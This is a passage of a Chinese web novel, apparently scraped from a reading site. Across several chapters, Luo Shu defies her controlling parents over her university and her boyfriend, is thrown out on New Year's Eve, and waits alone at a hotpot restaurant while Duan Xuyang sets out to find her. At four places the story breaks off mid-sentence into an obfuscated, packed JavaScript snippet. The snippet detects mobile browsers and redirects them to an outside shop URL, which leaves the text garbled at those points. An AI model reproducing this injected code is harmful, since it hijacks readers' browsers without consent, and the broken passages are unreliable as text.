罗姝的十八岁,在六月遭遇寒冬,又在初秋萌发春意,直至隆冬来临,她终于重返盛夏。 最萧瑟迷茫的时节里,那个在舞台上蹦蹦跳跳唱着《改变世界》的乐队主唱,那个在汽车后排与她分享反抗精神的热血男孩,那个带着她一步步感受自我的,她的乌龙恋人。 他正与太阳站在一起。 黎明前的寒冷总是刻骨铭心,罗姝嘴唇微张着,时不时吐露出一口白气。 冷空气从口鼻进入,经过肺部,冷却了体内的躁动不安。 她再回想起自己曾经的消极抵抗,儿戏般的“剧本轨迹”,竟也觉得自己可笑。 她试图在人生的最后关头追逐什么,但人的一生或许并不需要存在高深的意义与价值,她的人生也不该就这样被定性。 未来哪怕跌宕起伏,遍布荆棘,遗憾丛生。 都该是罗姝自己的选择。 “我自己喊。”罗姝对他笑了下,又上前一步,用手扶着栏杆,深吸一口气。 浑身血管都迸发着细密的疼痛,是不可见的存在想要争夺她的主权,但她的生活已经从形只影单走入了人声鼎沸,她已经足够坚定。 “太阳公公!” “我要向这个世界证明!” “罗姝的人生足够精彩!罗姝!只能是罗姝!” 少年的宣言铿锵有力,太阳的光芒也愈发热烈。 罗姝双拳缩在羽绒服袖口里,不住地颤抖。 痛苦如潮水般涌来,她迎着阳光咬牙坚守,在冷风中生出一身汗。 渐渐地,那阵痛不再难以忍受。 段胥阳也在这时嬉笑着扑过来推着她向后走:“走咯,我们把场地让给别人。” 当情绪被悄然蔓延开来,太阳公公也收到了更多的“心愿订单”。 “父母身体健康!爱人幸福美满!朋友志得意满!” “我想上岸!!!” “我们的乐队会在这个乐坛留下浓墨重彩的一笔!” “我要让更多人看到我们的实力!” “笨鸟勤飞也能飞得又高又远——” 而在此起彼伏的呐喊声中,于晓风和孟宇寰悄然退到了人群的最后方。 前一夜留下的尴尬气氛还在,于晓风唇角的伤口已经结痂,山风呼啸而过,他们下意识贴近彼此。 看到另一边的段胥阳和罗姝带头喊完话就又钻进了人群里,正借别人的身影挡风。 他们相互依偎着,在冰冷中享受恣意与甜蜜。 孟宇寰的视线从他们身上收回,又落到于晓风的唇角,他浅笑了一下:“天地这么广袤,没人能定义它,对吧?” “你有无穷的想象力,它也有无限的可能性,这是一个不断延展的世界,在你的眼里一定很美。” “在我的眼里也是。” “我们至少可以达成一个共识,”他向她摊开掌心:“你不用给我们之间冠以什么名义,你只要告诉我,在你的情感世界里,你只有我。” 于晓风将手搭上去,拿起手机对准两人的手拍了一张略显潦草的照片。 她低头操作了一阵,说:“我早编辑好了,就差一张配图。” “喏。” 她将手机屏幕翻转给他看,上面是一条刚刚发送的微博,配字:喜欢的人。 配图就是她刚刚拍的那张其实缺乏美感的照片。 与想象中相比,多了一些狼狈,少了一些浪漫,怎么不算是可能性的延伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111264|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢? —————— 从山顶回来,众人又狠狠补了几个小时的觉,一直到下午两点钟退房。 把行李箱依次放到后备箱,段胥阳瞥了一眼在一旁给他递箱子的罗姝,突然说:“姝姝,我新年那天不能陪你了,我刚知道我爸妈他们那天会回家,我也得回去见见他们。” “你新年也要回家?”罗姝又惊又喜地看过来:“我也得回去,我妹妹昨天晚上打电话跟我说,她们会回家过新年。” “这么巧!我们是什么苦命小情侣。”段胥阳哈哈大笑着关闭后备箱:“明明跨年结束一两天就要期末考试了,还得专程提前跑回家一趟。” 他的笑容消失在车门打开后:“你们怎么又在这!” 这一次坐在驾驶室的人是曹非,他的态度比起黄大骏要坦然许多:“这车也有我的一半。” 副驾驶的黄大骏则是熟练地又往后排递了几块巧克力:“他们两个好不容易有点进展,就给他们一点独处空间嘛。” 段胥阳全都无法反驳,只能悻悻地生闷气。 这一口气一直憋到新年前,两人自驾回老家那天。 等罗姝带着一大包笔记上车时,段胥阳第一时间就扑过去小鸡啄米似的亲了她两下。 他这才心满意足地坐了回去:“可算是没有电灯泡了。” “我刚涂好的唇膏。”罗姝没好气瞪他一眼,拉下镜子重新补上。 冬天实在太干燥,暖气房里更是烤得人浑身水分都在蒸发,稍微有一会儿不抹唇膏,嘴唇就起干裂起皮,变得梆硬。 “就当给我也涂一下嘛,我的嘴巴也干。”段胥阳砸吧了一下:“蜂蜜味的,还挺好吃。” “……你倒是会吃。”罗姝用手指挑了点唇膏,掰过他的脸仔细帮他涂好,直到他的嘴唇也变得水润润的,才警告:“不许再吃了。” 段胥阳若有所思:“这样我们亲亲的话,是不是能把它抹得更匀?” 罗姝选择戴上了一次性口罩。 段胥阳拿驾照不满一年,还不能单独上高速,两个人还是走先前那条路,一共六个小时的车程。 每隔一段时间,罗姝就会提醒他在沿途小镇子停留片刻,缓解一下驾驶疲惫再重新上路,所以等他们回到熟悉的家乡时,都快过了晚饭的饭点。 “看来我也得把考驾照的事提上日程了,万一以后还是我们两个单独出去,还能轮换一下。”罗姝一直注意着他的开车东西,思索着:“应该不难吧?一个学期可以考完吗?” “不急,之后我们再研究。” 段胥阳将汽车停在罗姝家小区门口,他先下车,走到另一边帮罗姝打开车门。 罗姝刚把手机、充电器这些零碎的物品整理到书包里,正好借着他开门的动作下车。 “来,离别吻。”段胥阳指了下自己的脸,双臂已经自然打开呈迎接的姿态。 罗姝上前抱住他,仰头亲在他下巴的位置,叮嘱了一句:“路上小心。” 她立在原地,一直目送他彻底消失,才挂着轻松的笑意转身。 一片浓云忽然移速,盖住了皎洁的月光。 小区小路的尽头,瘦削的女人目光如炬,宽大的衣袍空落落地挂在她身上,像一只静止的幽灵。 38. 恋爱第16天 老旧小区就连路灯都是灰败的,罗姝对小路上这几盏灯最大的印象,就是夏天格外招引蚊虫,夜晚从灯下经过时,总会被咬几口大包。 从黑暗中倏地跑出一个小小身影,她穿着可爱俏皮的毛绒裙,整个人像一只蹦蹦跳跳的小兔子,一个猛子扎进罗姝的怀中:“姐姐!” “妤妤!”罗姝惊喜地接住她:“不是说明天才到家吗?” 罗妤叽叽喳喳描述起来:“我的舞蹈老师临时请假了,今天的课程取消,所以干脆提前一天回来。” 说话间,小女孩轻轻在罗姝手上掐了一把,低声迅速略过一句:“妈妈看到了。” 随后罗妤又提高语调,仿佛话题从未中断过一样继续说道:“为了赶上高铁,我们还在车站狂奔呢,我是第一名,他们都跑不过我。” 罗姝心一沉,她向那黑暗中望了一眼,只依稀看到一片暗红色的痕迹,是衣料褶皱的角度折射出的光线。 她隐匿在那片黑暗中,连呼吸都近乎于没有,却能制造出强大的压力。 “那你可真厉害,想要什么奖励吗?”罗姝故作自然地牵起罗妤的手,向家的方向边走边聊。 “要不带我去吃火锅吧!我都好久没吃了。” 罗妤高昂的童声又给她心底汇入了一些力量。 罗姝紧了紧手心的力度,应了句好。 直到走到那人身边,迎着对方冷漠的眼神,罗姝叫了一声:“妈。” 施有第没有应答,她深深凹陷的眼窝里闪过一丝讥诮,转了个身提步走远。 “没关系姐姐,”罗妤用气音鼓励着:“我支持你,你交男朋友眼光一定很好,他是个绅士。” 罗姝紧绷的心情被这天真的童言童语缓解,她笑起来:“你都没有近距离见过他,你怎么知道他是个绅士?” “他帮你开车门啊,还会等你主动抱他,拥抱的权力在你,说明他尊重你。”罗妤分析得头头是道,精致可爱的小脸上写满得意:“我的舞蹈老师换了好几个男朋友,我现在很会看人的。” “那既然你都这么说了,他应该的确是个绅士。”罗姝装模作样地拿出手机:“我要跟他说,我可爱的妹妹对他做出了高度肯定。” “那可不行,你不能这么早就告诉他,你的家人对他印象还不错。”罗妤着急地跳了一下试图阻拦:“我们还要再多观察呢。” 姐妹俩就这么打打闹闹地回到了家门口,门没有关严,从门缝中泄露出一道白光,里面静悄悄的,没有任何动静发出。 罗妤和罗姝又对视了一眼,她们都知道,进了这一扇门,就意味着一场没有硝烟的战争将要爆发。 “加油!”罗妤给她加油打气:“妈妈只是妈妈,她并不总是对的。你只要坚持你自己就好啦,反正我会永远支持你。” 是啊,妈妈只是妈妈,她并不意味着无上的权利和绝对的正确。 这间屋子整个冬天并没有人常住,很早就办理了停暖,室内温度比走廊还低。 客厅的空调勤勤恳恳地提供热量,但也只能吹热局部地方,冰冷的感觉叫人不适且清醒。 罗福军就坐在空调的风口下面,他烧了一壶砖茶,正边喝茶边刷短视频,听到门口传来的动静,也只是头也不抬地说了声:“回来了啊。” 先她们一步回家的施有第脱掉了外衫,只穿着一件灰蒙蒙的打底衣。她画着又黑又粗的眼线,刷着灰色调的眼影,神情看起来有些不虞。 “我还以为,留你独自思过的这半年,你能有些长进。” 施有第的语调向来很有特点,她习惯给自己毫无感情的话语刻意增添情绪。喜怒哀乐时的抑扬顿挫完全不同。 此刻这种低沉的、看似平静的语调,就恰恰意味着风雨欲来。 仅仅是“思过”两个字,就率先将罗姝钉在“犯错”的耻辱柱上。 罗姝敛眸,在心里低叹。看来这场对话,从开头就无法得到和平了。 “我并不觉得我有任何值得思过的地方。”她迫使自己抬头,去直视施有第那总是藏着谴责的双眼,又重申了一遍:“和半年前一样,我认为我没有错。” 施有第抬了一下手,并不想听:“半年前的事情,现在再提也没有意义,你不用顾左右而言他。” “但刚才的事情,你不需要给我一个交代吗?”她半眯着眼,遮掩住眼底的精光。 “首先,半年前是你们一直在误解我,在你们向我道歉之前,这件事在我心里永远有意义,永远不会就这么过去。” 对方那样轻描淡写,罗姝也努力克制着自己的情绪:“其次,我交了男朋友,他是个很好的人,这就是我的交代。” “啧。” 施有第嘴角扬起一抹嘲讽的笑,她有意露出可怜可叹的表情:“仅仅是半年没有在你身边督促你,你就全然忘记了自己的身份了吗?” “你还是一个学生,你的上进心呢?你的廉耻心呢?” “我在首都的时候还在替你想办法,我找了许多专家、教授来分析你的问题。可你自己自甘堕落到这个地步,好大学也不上了,还当街和男人亲亲我我,我还能怎么救你?” 她是那样的劳苦功高:“还是说,你原本的本性就是这样,过去那些年只是因为我对你的成绩严格把控,你在哄骗我?” 罗姝早就知道,和施有第争论也好,交谈也罢,都不会是一件轻松的事情。 在她的眼里,除了最好的,别的都不值一提,她不愿浪费时间在这些事物身上。 即便如此,也还是要争。 “我就读的是国家公办大学,全省范围里仅有的五家本科级别高校之一。我的学校在个别领域进行过全球范围内最先进的研究,至今该专业在全国的排名都名列前茅。 “最重要的是,它承担着教书育人的责任,传授给了数以万计的莘莘学子生存的技能,它凭什么不是一所好大学?” “而我本人,我是一名成年大学生,我和男朋友之间发乎情,止乎礼,我们共同努力共同进步,丝毫没有影响到学业,这不叫自甘堕落。” “您也不必找任何人来分析我的问题,我没有问题。”罗姝再次强调:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17120947|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不按照您的意愿行事并不代表我有错,我只是做了我本人想做的决定。” 这一句句没有波澜的话语,将施有第的唇角一点点拉平。 但她的面部肌肉还维持着讥笑的形状,于是在她脸上形成一些无神的褶皱。 “还学会了顶嘴,你还真是长进了不少。” 她终于撕掉了那张看似平静的面具,语气变得激烈起来:“什么叫不按照我的意愿行事,你真以为凭借你自己,你能有之前那些成就吗?” “我自学考上营养师,每天变着法地给你补充营养,让你身体无忧。还找了数不清的家教老师上门来对你一对一教学。” “你扪心自问,从小到大,你有没有为指甲盖大小的事情操心过?” “你能专心学习,能收获那么多荣誉,背地里有我多少付出,我凭什么不能替你做打算?” 施有第越说越激动,说到最后她猛地拍了一下桌子:“再者说,我让你考名校是在害你吗?” “你已经单独生活了半年,怎么还会这么天真?” 施有第紧皱眉头,摊着手,似是万分不解:“你不会在学校里待一辈子,总有毕业的一天。你未来还要求职、求生存,这都是建立在现在这个基础的。” “好,高考你考砸了,你也任性不复读,你浪费了你十几年来的学习积累,上一个不温不火的普通大学,你未来能拿什么争?” 她气愤地在原地转了好几圈,宛如假面一样松垮的脸奇异地有了生机:“这些事情你没有考虑,我都替你考虑到了。” “我原想你能考上清大,为了让你没有后顾之忧,我和你爸几乎变卖家产才在首都置业。我还跟你的姨妈舅舅们都打包票,说你一定能考上,未来一定能有大造化。” “可你做到了吗?”施有第质问:“罗姝,我们为你付出的不少,可你最后回馈给我们的是尴尬,是嘲笑,你知不知道我有多抬不起头?” “你的那些姑姑、叔叔!”她指向罗福军的方向,情绪更加激愤:“他们早就等着看我们一家的笑话,你还真让他们看这个笑话啊!” “更恐怖的是,你到现在都没有任何反省。”她又放轻了声音,似是万分失望:“你要拿你的前途来跟我彰显你的个性吗?” 从沙发处传来的短视频声音倏地停止了,罗福军体重又加重了不少,整个人陷在软绵绵的沙发里后,想要起身需得涨红了脸使劲。 他终于站了起来,拍了拍罗姝的肩膀,像过去的每一次一样来做和事佬:“姝姝,你这样讲妈妈真的很让她伤心,她是全家最关心你的人。” “在首都的时候她还特意打听过,本科毕业以后考清大的研究生有没有用。” “我们现在也不怪你高考没考好的事情了,还有别的办法补救嘛。你跟你妈道个歉,然后跟那个男孩分手,以后专心为考研做准备,我和你妈都可以继续陪读。” “呵,”罗姝突然笑了起来:“为什么要怪我高考没考好呢?” 她难掩失望:“我明明说过一遍又一遍,那段时间我身体不舒服啊。” 39. 恋爱第17天 一切矛盾兜兜转转还是发源于那个失败的六月份。 罗福军下坠的脸颊肉抖动了两下。 他长期待在餐厅后厨里,在煎炸烹炒声中与人交谈需要放声大喊,早就练就了浑厚有力的发声方式。 那声音在罗姝耳畔又一次炸开:“是啊,爸爸妈妈不是在你高考结束以后就带你去医院了吗?全身检查都做过一遍,都显示没有问题啊。” “那为什么不在我高考之前就带我去呢?” 罗姝其实心知肚明,真正干扰她身体的因素并非任何病变,全身体检是在高考前做还是高考后做毫无差别,都不会得到解决。 她真正在意的,是那个时机,是那个态度。 但正如她一次次经历过的那样,她的在意总会落空。 施有第插话进来:“所以你从那个时候起就不想参加高考了是吧,所有人都在用心复习,我们要是白白浪费一天时间带你去医院,会被多少人追赶上来?” “罗姝,我们的人生阅历是你的两倍还多,你以为我们发现不了你心里那些小九九吗?你的体检报告已经足够证明你在对我们说谎了,你的身体健康得很。” 她紧蹙着眉头,撂下最后的狠话:“我把话已经挑明了,你也不必再跟我们争论这些莫须有的事。” “曾经你究竟是逃避考试还是压力大我们不会再追究,你不想复读,我们也接受了现状。现在只需要你做到一件事,就是分手,重新把重心放到学习上,做好你身为学生该做的事。” “你要是能做到,我们就还是相亲相爱的一家人。你要是做不到,趁现在转身出去,就当我从没有过你这个女儿。” 望着施有第那坚定指着门外的手,罗姝竟然没有感到多么伤心,她只是忍不住喟叹:“不过是为了一些身外之物,竟然要割舍掉自己的女儿,将她半夜逐出家门。” “那我能怎么办?”施有第并没有放下手,她的眼神里渐渐染上了怨毒:“我一直跟你说,所有人都瞧不起我们。你的爷爷奶奶只偏心小的看不起你爸,你的外公外婆只看重儿子看不起我。” “如果不是你比他们的孩子更加优秀,谁会把我们放在眼里?即便如此,你就真的遥遥领先吗?” 她深吸一口气,吸气的声音都在发抖:“你那个姑姑的女儿,只是比你小了几岁才不被拉出来跟你比较!人家从小就被建议跳级,你还这么不争气,等过两年她也参加高考,我们全家都会成为天大的笑话!” “我只需要一个优秀的女儿。”施有第冷冰冰地看着罗姝:“如果你做不到,就离开这里。” 在这个冷色调为主的家里,罗妤明明穿着最亮眼的衣服,却被所有人一致忽略了。 她看看姐姐,又看看妈妈,只思考了一秒钟的时间,就小跑着回到了自己的房间。 罗姝拉了下背包的背带,身后沉甸甸的坠感让她感受到真实。 她第一次仔细观察施有第的眉眼,也是第一次,当她闭上眼时,能清晰回忆起母亲的面容。 “妈,”最后,她还是叫着这个称谓:“我还尚未出生的时候,我还仍在襁褓的时候,我还牙牙学语的时候……” “你就已经知道你的女儿会很聪明,已经计划好将来一定要让她考上最顶级的学府了吗?” 施有第怔忡。 罗福军还想再劝些什么,罗姝却已经转身离去。 只是推开那扇门之前,她再一次强调:“我从来不说谎,也不会主动辜负我自己的努力。是你们不够了解我。” 空洞的步梯会放大脚步声,声控灯一层一层惊醒,直至踏入一楼。 下最后一格台阶时的感受完全不同,那是一种脚踏实地的沉重感,很踏实,也很安心。 罗姝抬头看了一眼月亮,浓云散去,露出它原本的模样。 它已是接近圆月的形态,十分明亮。 一直以来,罗姝都像同情自己那样,同情着自己的父母,这大概也是她始终对他们抱有期待的原因。 施有第有两个姐姐和一个弟弟,兄弟姐妹的名字都饱含祝福,她是唯一那个被叫做“有弟”的人。 罗福军有一个妹妹和一个弟弟,家里穷到揭不开锅的时候,他是唯一那个被送到老人身边养大,与父母完全不亲的人。 他们为人子女时,便不曾感受过多少父爱母爱,自然也不懂得该如何爱自己的孩子。 爱人的能力或许是天生,但爱人的方式却需要引路人来言传身教。可惜的是,这一点无论是罗姝,还是她的父母,都不曾习得过。 罗姝曾深深为此感到可悲,如今的罗姝又思考着另一个问题。 换一个角度,将矛盾聚焦到这是一个小说世界上。 “罗姝”这个角色最大的作用,是接任女主角的意识。对罗姝而言,当她的身体被占用后,她的功能也随即消失,往后的剧情已经与她无关。 但罗姝的父母不是,他们是女主角重建幸福人生路上的拦路虎。 他们被塑造成刻薄、贪婪、虚荣、可恨的形象,是“罗姝”这个原身悲剧的源头,是必须被女主角整治打脸的“极品亲戚”,以此让女主角的借尸还魂成为正义。 那么,他们的悲惨人生某种意义上来讲,是否也是剧情的手笔呢? 只是相比起男主母亲石攻玉的逆天改命,他们还挣扎在命运的沙海里。 “姐姐!”女孩的呼声伴随着踢踢踏踏的脚步声一起传来,打断了罗姝的思绪。 罗妤跑得气喘吁吁,她努力扬起笑容:“还好赶上了,你还没走远。” “怎么跑这么急,”罗姝半蹲下来拍拍罗妤的背,帮她捋顺呼吸:“你一个人下来,他们不管吗?” “我说我只到楼下,很快就会回去的。” 罗妤从衣兜里掏了掏,摸出一个针织毛线小包,针眼不是很密,隐约能看出里面装着的是一沓纸币。 她试图把小包往罗姝书包里塞:“这是我攒的那些零花钱,我看你之前没动过,就给你送下来了。” “姐姐有钱啊,这是你好不容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131917|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易攒下来的,姐姐不能拿你的钱。”罗姝挡了一下,把书包抱到胸前,不让她碰到。 罗妤仰着头看了看她,问道:“你要去找你的男朋友吗?” “也许不会。”罗姝认真回答妹妹的问题:“他还要和家人一起过节呢。” “那你更要拿着啦,要跨年了,带着我的心意去吃一顿火锅。”罗妤固执地把小包递过来:“你去找他也没关系,我们女孩子,要有自己的财富,不能靠男孩子养。” 罗姝一瞬间红了眼眶,她借着夜色遮挡,故作自然地笑她:“你这小孩,说话一套一套的。” “姐姐,你刚刚问妈妈,在你出生前她是不是就已经想好要让你考上清大。”罗妤表情十分严肃:“她或许没有。” “但我知道,在我出生之前,她就已经想好了,让我发展艺术对不对?” 见罗姝愣住,罗妤反而笑了起来,她跑到空旷的地方做了几个蒙古舞的动作,那舞姿大气恢宏极具力量。 “她想让我当一只踮脚尖的白天鹅,优雅地弹着钢琴。但我是草原上翱翔的雄鹰,只会伴随着马头琴起舞。” “你也是草原上最壮观的马兰花,我们都是自由的。” 她又小跑着过来,将装着钱的小包往罗姝手里一塞,便迅速跳跃而去。 罗姝站在原地,看着她小小的身影消失在楼梯口,那一瞬间仿佛又回到了九年前,妹妹刚出生的时候。 原来人是从那么那么小的时候开始长大的,甚至还有点丑,皮肤发红发黑,皱皱巴巴,但手指已经十分有力。 她紧握着罗姝好奇探来的指尖,尽管眼前还看不清什么,眼珠已经能灵巧地转来转去,开始探索这个陌生的世界。 施有第在跟她的姐妹打电话:“手指很长的,也很有劲,将来可以送去学钢琴。胳膊和腿也不短,护士都说了,很少见我们家这样标志的宝宝,是个学跳舞的好苗子!” 罗姝却只感到奇妙,从那一天起,她的生命中多了一个小礼物,她们是天然的同盟。 但原来,她们的处境并不完全相同。 罗姝找出纸巾来擦掉眼角的泪,她将那个零钱小包珍惜地收到书包最里侧的夹层里,想着,今晚要吃一顿火锅。 可惜跨年夜总是不便利的。 手机页面里,几乎所有的酒店房间都已售罄,只余下一些昂贵的套房,一晚上的价格就能花光罗姝全部的积蓄。 火锅店也挂出告示,不再接受网上预订,需要顾客到线下排号就餐。 回学校的火车半小时前刚发走最后一班,她想连夜回去都没有机会。 罗姝站在小区口来回踱步,越发觉得自己神奇。 这里明明是她的家乡,她竟然找不到一个容身之处。 日间的公交车已经停运,夜间公交要等很久才能过来,罗姝也不想再等下去,导航了之前段胥阳驻唱过的新商场,打算步行前往。 兴许她能在商场的火锅店排一晚上队,吃完这顿饭直接买早上的火车票回学校。 40. 恋爱第18天 一顿堪称丰盛的晚餐结束,段胥阳端着两杯加了少许蜂蜜的温水过来,放在两个老人面前。 外婆还在和奶奶互相置气,连带着段胥阳也没收到好脸色:“给她,我不是不能喝嘛。” “我也不要,喝两口就有人念叨个没完,我嫌烦。”奶奶也气呼呼地别过身子,一副眼不见为净的模样。 这对老闺蜜从十七八岁吵到七八十岁,三天一小吵,五天一大吵,回回都是为了些鸡毛蒜皮的小事。 这次吵起来,是餐桌上大家闹哄哄地喝酒碰杯,外婆贪杯多喝了两口,被石攻玉当场指了出来:“妈,你得少喝点,不能再喝了。” 这老人家从年轻起就爱小酌几口,自打查出来三高后,平时就被约束着不能沾酒,憋闷得实在难受。 好不容易遇到个团圆佳节,也没能过个嘴瘾,她当时就急了:“小阳奶奶这不是能喝嘛,我怎么不能喝?” “我当然能喝,我身体倍儿棒,又没有那些个老年病。”段胥阳奶奶还挑衅地端起酒杯又喝了一口。 结果就是俩老人一起被没收了酒杯,这下两人彻底互相怨怼起来。 “哪的话,这不都是关心您二位嘛。” 段胥阳作为在场唯一一个小辈,被爹妈打发过来哄这俩老小孩,他倒是从小嘴甜,哄人哄得得心应手:“我一听说外婆和奶奶都不能喝酒,也立马扔了酒杯,还是您孙子最贴心吧?” “谁知道是为了我们,还是为了一会儿出去约会呀?”外婆傲娇地叉着腰,脸上隐隐有些得意:“坨坨可全都跟我说了,你小子已经追到女朋友了。” “坨坨怎么什么都往外说啊,”段胥阳佯装埋怨:“我们还没打算这么早就告诉家里呢。” 外婆活了这么大岁数,人精一个,哪能看不透他,她当即哼了一声:“你表弟是个什么德行你能不清楚?你要是真想瞒着,就不会告诉他了。” 奶奶也被话题吸引着凑过来,她好奇又欢欣地看着段胥阳:“小阳交女朋友啦,有没有照片让奶奶看看呀?” “有也不能随便给您看啊,万一小姑娘害臊呢。”段胥阳还把手机往怀里藏了藏,表情嘚瑟中掺杂着些不好意思:“回头我问问她。” “嘿你这孩子,偷偷给我们看一眼又怎么了,那老话都说,丑媳妇早晚都得见公婆呢。”奶奶推了他一把,嗔怪了一句。 段胥阳立马接话:“人家可不丑啊。” 奶奶:“……” 她没好气地白了自家孙子一眼:“净捡那没用的话听。” “你说小阳干什么,我觉得他说得对啊。”外婆这下老神在在地喝起了蜂蜜水,还不忘站在道德的至高点谴责老闺蜜:“都什么年代了,现在的孩子都是自由恋爱,这都是孩子们自己的事,该到和你见面的时候都会见到的。” 奶奶被堵了一嘴,不甘不愿地又挪了回去。 过了一会儿她又转过来:“那你怎么追到的,这个总能说说吧。” 外婆也好奇:“对啊,你怎么追到的?” “这个说来话长,打刚上高中的时候我就求老天爷让她当我女朋友,最后老天爷真显灵了,神奇吧。” 段胥阳说完拔腿就溜:“少八卦了女士们,赶紧洗洗睡吧,我得跟女朋友煲电话粥了。” 把气急败坏的奶奶们甩开,段胥阳一口气跑上二楼自己房间,找出罗姝的号码拨过去。 通话铃声只响了两秒就被一把摁断,段胥阳试探地发去文字信息:“不方便?” 几乎是同时,罗姝的消息就发来了:“我还在等开饭呢,不太方便接电话。” “怎么这么晚还没吃饭啊,有没有吃点零食垫垫肚子?”他又确认了一眼钟表,都快到他家里老人平时的睡觉时间了。 “有吃一点小麻花。” 段胥阳放下心来:“行,那你吃完了我们再聊。” 饭桌上玩手机总是不太礼貌,罗姝家里管得也严,他就不给她拖后腿了。 想煲的电话粥没煲上,段胥阳百无聊赖地在床上翻滚了几圈,开始点开自己的一大堆群聊一个个翻看聊天信息。 最热闹的当属高中同学群。一起奋战过三年的战友们才刚刚分别了一个学期,同学情谊还很重,有不少在同一个城市的同学都约在一起跨年,群里各种合照、对话络绎不绝。 段胥阳从最早一条消息开始看起,时不时感叹一句男大女大十八变。 不过是过去了半年时间,当初的高中牲们就一个个都蜕变成了大人模样,小妆一化,发蜡一抹,全都化身潮男潮女。 他一页一页翻过照片,突然,罗姝的身影突兀地闯进了眼球。 照片中的她孤零零坐在一家火锅店门口,抱着书包垂着头,手里还捏着几个独立包装的小麻花。 段胥阳又放大照片仔细确认了一下,这还真就是他那个说正等着开饭的女朋友。 他赶紧翻聊天记录,翻到这张照片的出处。 302班唐磊:照片.jpg 302班唐磊:这不是隔壁1班的大学霸吗,原来她是真喜欢一个人待着啊,新年前夕一个人跑来吃火锅,还挺有仪式感。 302班唐磊:但是我要不要提醒她一下,从现在的排队状况来看,轮到她估计得凌晨。 302班唐磊:完蛋,不敢跟学霸搭茬,我怕她不搭理我。 有同学附和了几句,说罗姝性格比较内向,让唐磊别去打扰人家,这个话题就这么戛然而止了。 唐磊发出这张照片的时间已经是一个多小时以前,段胥阳把照片单独保存下来,左翻右翻,也没找到照片中哪个路人能算作她的同伴。 想到罗姝之前还双眼亮晶晶地跟他说她要和家人一起过节,再看看照片里的小可怜虫……她的家人呢? 段胥阳不知不觉就坐了起来,他蹙着眉头点进和唐磊的私聊窗口:“磊子,你现在还在那家火锅店吗?” 好在唐磊手机不离手,秒回消息:“火锅店人太多了,我们在隔壁湘菜馆,这边位置多。” “怎么了,你也想来吃火锅?劝你不要,到现在还有人过来排队呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143173|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>见状段胥阳直奔主题:“能不能麻烦你帮我看看,罗姝还在不在那?” “罗姝?”唐磊忍不住叫出声来:“这俩是怎么扯上关系的!” 他擦了把辣得直冒汗的脸,快走了几步到窗边看了一眼,罗姝几乎还维持着一个多小时之前的姿势,一动不动。 “我刚看了,还在那呢,哦,现在火锅店服务员又给了她几个麻花。” 手机里迅速弹出“谢了”两个字,唐磊头顶有根雷达滋滋作响,他扶了扶眼镜坐回原位,对其他同学说:“我好像吃到了一个大瓜。” 那头的段胥阳已经迅速换好了衣服,他拿起车钥匙时犹豫了一下,脚步拐了个弯,敲响了父母房间的门。 石攻玉过来开门时,看到穿戴整齐的段胥阳一愣:“你这是,要出门?” “是,”段胥阳也不清楚罗姝那边究竟是什么情况,只能猜测地说:“我也不知道今晚还能不能回来,对不起,妈。” “跟我道歉做什么?”石攻玉笑起来:“你已经是一个大人了,做事总有你自己的理由。” “你们好不容易回来一趟……”他有些愧疚:“我却连明天的早餐都可能陪不了你们。” “那你告诉妈妈,你现在出门要做的事情,重要吗?” “很重要。”段胥阳重重地点了点头:“所以我必须要去。” 看到他那坚定的表情,石攻玉恍惚间将他与他父亲的脸相重叠,她陡然意识到,长大成人不是一句口号,她的儿子是真的长大了。 “要去找你的女朋友?” 段胥阳似乎不确定该不该直说,他并不希望父母因此对罗姝留下什么坏印象。 思索了两秒,他还是选择坦白:“她现在,应该需要我吧。” 石攻玉还是那副慈祥微笑的模样,只是笑容里又多了些欣慰:“那就不用对我感到愧疚,她比妈妈更需要你。” “这么晚了,保护好她,好么?” 她像小时候那样,摸了摸他的头发,转身又去行李箱里拿出一个精致的礼盒:“这是你之前在首都让我帮忙做的,也许今天正好可以派上用场。” “这么快就已经做好了吗?”段胥阳惊喜地接过那个礼盒,仔仔细细检查了一遍才收好。 